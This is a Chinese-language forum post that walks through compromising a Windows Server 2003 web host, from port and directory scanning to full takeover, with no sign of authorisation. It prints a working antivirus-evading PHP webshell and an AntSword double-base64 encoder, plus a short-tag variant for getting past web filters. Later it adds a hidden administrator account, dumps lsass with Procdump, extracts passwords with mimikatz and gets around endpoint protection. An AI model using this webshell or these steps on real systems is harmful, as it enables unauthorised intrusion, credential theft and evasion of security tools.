发布于2022年10月15日3年前 信息收集 一、基础信息 目标系统是windows, 服务层有IIs6.0,Apache-Web-Server, 支撑层有ASP.NET,ASP,jQuery,VisualSVN,PHP5.2.6 二、端口开放情况: 利用goby对ip进行扫描,使用nmap工具也同样能扫出所有开放的端口 三、资产探测: 结合goby和nmap扫描的端口情况,手工探测了下,发现总共有5个web应用,以及开放了MySQL、RDP服务。 端口 应用 运行环境 备注 501 WEB:xxxxxxx网络课程发布系统 IIS6.0 登录口爆破 500 WEB:默认iis服务 IIS6.0 扫描下目录 60000 WEB:VisualSVNServer Apache 登录口爆破 5555 WEB:Index of / Apache、IIS6.0 存在目录浏览漏洞 8031 WEB:默认iis服务 IIS6.0 扫描下目录 33060 MySQL 爆破下弱口令 38938 RDP, Remote Desktop Protocol WindowsServer2003 爆破下弱口令 四、目录探测 利用7kbscan对几个WEB目标目录进行扫描 501端口http://:501/ http://:501/fckeditor/editor/fckeditor.html 还扫出来很多fck的相关文件,由此可知网站是用的FCK编辑器 http://:501/login.aspx 网站登录口,可以考虑爆破下 5555端口http://:5555/ http://:5555/app.php 爆出绝对路径 x:\xxx\xxx\xxx\htdocs\app.phpon line 8 http://:5555/phpmyadmin/ 看到目录以为是个phpmyadmin页面结果访问空白 http://:5555/default.aspx/ sql server程序路径x:\xxx\xxx\xxx\KC\ListApplys.aspx.cs:line 84 弱点分析 一、网站后台登陆地址存在弱口令漏洞 二、网站存在index of 页面,可以遍历某目录下的文件 漏洞利用 一、通过弱口令漏洞进入网站后台,发现文件上传点 二、通过Fck编辑器漏洞先上传后重命名的方式来getshell(存在waf,需要绕过) 我们这里选择上传的文件位置也是有原因的,因为要连接我们的马的话,我们需要知道他的详细的路径,这时候我们就想到了我们的5555端口的index of的文件目录,可以发现index of的目录是x:\xxx\xxx\www\htdocs 所以我们就选择这个目录作为我们的webshell上传的目录(这个文件目录是通过信息搜集得出的,具体看信息搜集部分) 补充:这里是如果用普通的一句话木马我们可能连接上一次以后就没法连接了,原因是目标存在杀软,我们要对我们的木马进行加密,这里我们选择了双base64加密,需要我们新建一个双base64加密的编码器,然后再进行连接(编码器和马都在下方提供) 双base64编码器: /** * php::base64编码器 * Create at: 2020/11/21 15:21:10 */ 'use strict'; /** * @param {String} pwd 连接密码 * @param {Array} data 编码器处理前的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组 */ module.exports = (pwd, data, ext={}) => { // ########## 请在下方编写你自己的代码 ################### // 以下代码为 PHP Base64 样例 // 生成一个随机变量名 let randomID = `_0x${Math.random().toString(16).substr(2)}`; // 原有的 payload 在 data['_']中 // 取出来之后,转为 base64 编码并放入 randomID key 下 data['_'] = Buffer.from(data['_']).toString('base64'); // shell 在接收到 payload 后,先处理 pwd 参数下的内容, //data[pwd] = `${data['_']}"));`; data[pwd] = Buffer.from(data['_']).toString('base64'); // ########## 请在上方编写你自己的代码 ################### // 删除 _ 原有的payload delete data['_']; // 返回编码器处理后的 payload 数组 return data; } 免杀马(密码为password): <?php header('HTTP/1.1 404'); class COMI { public $c=''; function __destruct() { return eval(substr($this->c, 0)); } } $comi = new COMI(); $password = &$password1; $password1 = $_REQUEST['password']; $post = &$password; $post=base64_decode(base64_decode($post)); $lnng1 = &$lnng; $lnng = $post; $lnng2 = $lnng1; @$comi->c = substr($lnng2, 0); ?> 拓展:PHP短标签 这里有些waf有可能过滤<?php标签,这里我们可以利用PHP的短标签绕过waf,所以可以使用我最下面的木马(密码也为password) <?php( 这是完整标签),<? ( 这是短标签), 我们这里的原理是使用<?替换<?php来绕过waf 只需要把我们的免杀马中的<?php改成<?即可 //php.ini中 short_open_tag = On //这个配置需要开启,否则无法使用短标签 //除<?php ?>,可使用更灵活的调用方法 <?/*程序操作*/ ?> <?=/*函数*/?><?=$a?>//这里的等号大概就相当于echo <?=(表达式)?> 就相当于 <?php echo $a?> <?php echo (表达式)?> <? header('HTTP/1.1 404'); class COMI { public $c=''; function __destruct() { return eval(substr($this->c, 0)); } } $comi = new COMI(); $password = &$password1; $password1 = $_REQUEST['password']; $post = &$password; $post=base64_decode(base64_decode($post)); $lnng1 = &$lnng; $lnng = $post; $lnng2 = $lnng1; @$comi->c = substr($lnng2, 0); ?> 提权及后渗透 一、信息搜集 使用蚁剑上传一个我们的PHP大马: 1.目标系统信息: 可以看到他的安全模式是关闭的,Apache是(2.2.9APMServ),PHP是5.2.6,把远程桌面连接的端口改到了38938,服务器操作系统是:WINNT ,web端口是5555 ,web路径是E:/xxx/xxx/www/htdocs 系统允许使用URL打开文件,允许使用curl_exec执行一个cURL会话,会显示错误信息,系统会报错(这样可以利用报错知道数据库等一些文件的路径) 魔术引号也开着,允许最大上传文件时20M,开启了MySQL数据库,支持Session、Socket,可以以ODBC方式连接mysql数据库 FTP也是开的,Telnet端口是23 当我们用蚁剑连上shell时,在终端里看到已经是system最高权限了 输入ipconfig 发现目标机开了两张网卡 输入netsh firewall show config查看防火墙信息 可以看到防火墙的配置以及端口的开放 2.目标存在杀软情况: 我们打算先在在蚁剑里执行tasklist /svc 查看进程,然后看目标机开了那些杀软,但是在蚁剑里tasklist /svc却执行不了 首先我们怀疑是tasklist /svc的东西太多了,显示不出来,所以我们用tasklist /svc > 1.txt,该命令是把前面tasklist /svc命令的内容保存到1.txt文件中,我们回到上传的PHP大马中 发现文档是空的,我们使用ipconfig >1.txt 是有内容的,这里存在疑惑,要是有师傅知道问题原因还希望可以指点下,输出ipconfig 都行,输出这个tasklist /svc却没有回显 二、获取Administrators密码 首先在蚁剑的终端上创建一个账号和密码,并添加到管理员组 添加账号:net user boy2 123456 /add 添加了一个名为boy2 密码为123456的用户,用于远程桌面的登录 把用户添加到管理员组:net localgroup Administrators boy2 /add 这样我们就有了一个账号为boy2 ,密码为123456的管理员账号了,接着我们就可以用远程桌面连接目标的电脑了 在自己的电脑上同时按win +R 然后输入mstsc回车,调出远程桌面连接窗口 点击连接 输入刚刚创建的用户名和密码这样就成功连上了目标 我们在cmd终端输入tasklist /svc发现可以执行 进入网址http://getav.404sec.com/查询 发现目标机有360和深信服edr(edr是指终端检测响应平台, 端点软件支持防病毒功能、入侵防御功能、防火墙隔离功能、数据信息采集上报、安全事件的一键处置等) 于是我们打算把管理员账号密码dump下来 使用大马将Procdump工具传到目标机的boy2用户的目录下,即C:/xxxx/boy2/下 Procdump下载地址 https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump(Procdump是微软自带的把进程dump下来的程序,可以抓取正确数据集合.,它会指定的时间内监控目标进程的cpu,,并在那个点抓取一个内存快照(dump).因为Procdump是微软自带的,所以他不会被杀毒软件拦截) 因为目标机是windows2003,所以我们使用Procdump.exe,它粘贴至桌面 在目标机里面使用cmd,使用cd命令到desktop 使用命令:Procdump.exe -accepteula -ma lsass.exe lsass.dmp 把lsass.exe文件dump下来(lsass.exe是一个系统重要进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。涉及到核心与用户权限相关的核心功能。) 得到这么一个文件 然后使用mimikatz把管理员账号密码破解出来 只需将lsass.dmp文件放到mimikatz.exe文件的同一个目录下 然后点击mimikatz.exe,输入命令 sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords 然后就拿到了目标的管理员账号和密码 我们在远程桌面连接的cmd终端里输入systeminfo 查看系统信息 并且安装了482个修补程序 这里有一个问题没解决:看到目标机的域是JWC但是输入net time/domain却显示找不到域JWC的域控制器所以就先结束渗透了 三、sxf终端检测绕过小技巧 当我们退出终端时,再用boy2用户连接时,会发现有深信服的ERP,需要输入验证密码才能管理远程桌面 我们只需要在蚁剑里面把Administrator用户退掉,然后重新用我们破解出来的管理员账号和密码重新登录即可 在蚁剑终端输入:query user 看到administrator的ID是3,所以我们输入logoff 3即可把administrator管理员用户退掉(query user:查看当前登录的用户logoff <id>:退出用户) 然后在远程桌面电脑连接用破解出来的管理员账号和密码登录 这样就可以登录,绕过深信服的EDR了 总结及分析 一、使用到的工具 goby**、**7kbscan、蚁剑、mimikatz 二、涉及到的漏洞 弱口令、文件上传漏洞 二、突出亮点 改文件后缀绕waf,编码器绕waf,使用微软自带的Procdump程序,利用lsass.exe文件获得管理员账号密码
创建帐户或登录后发表意见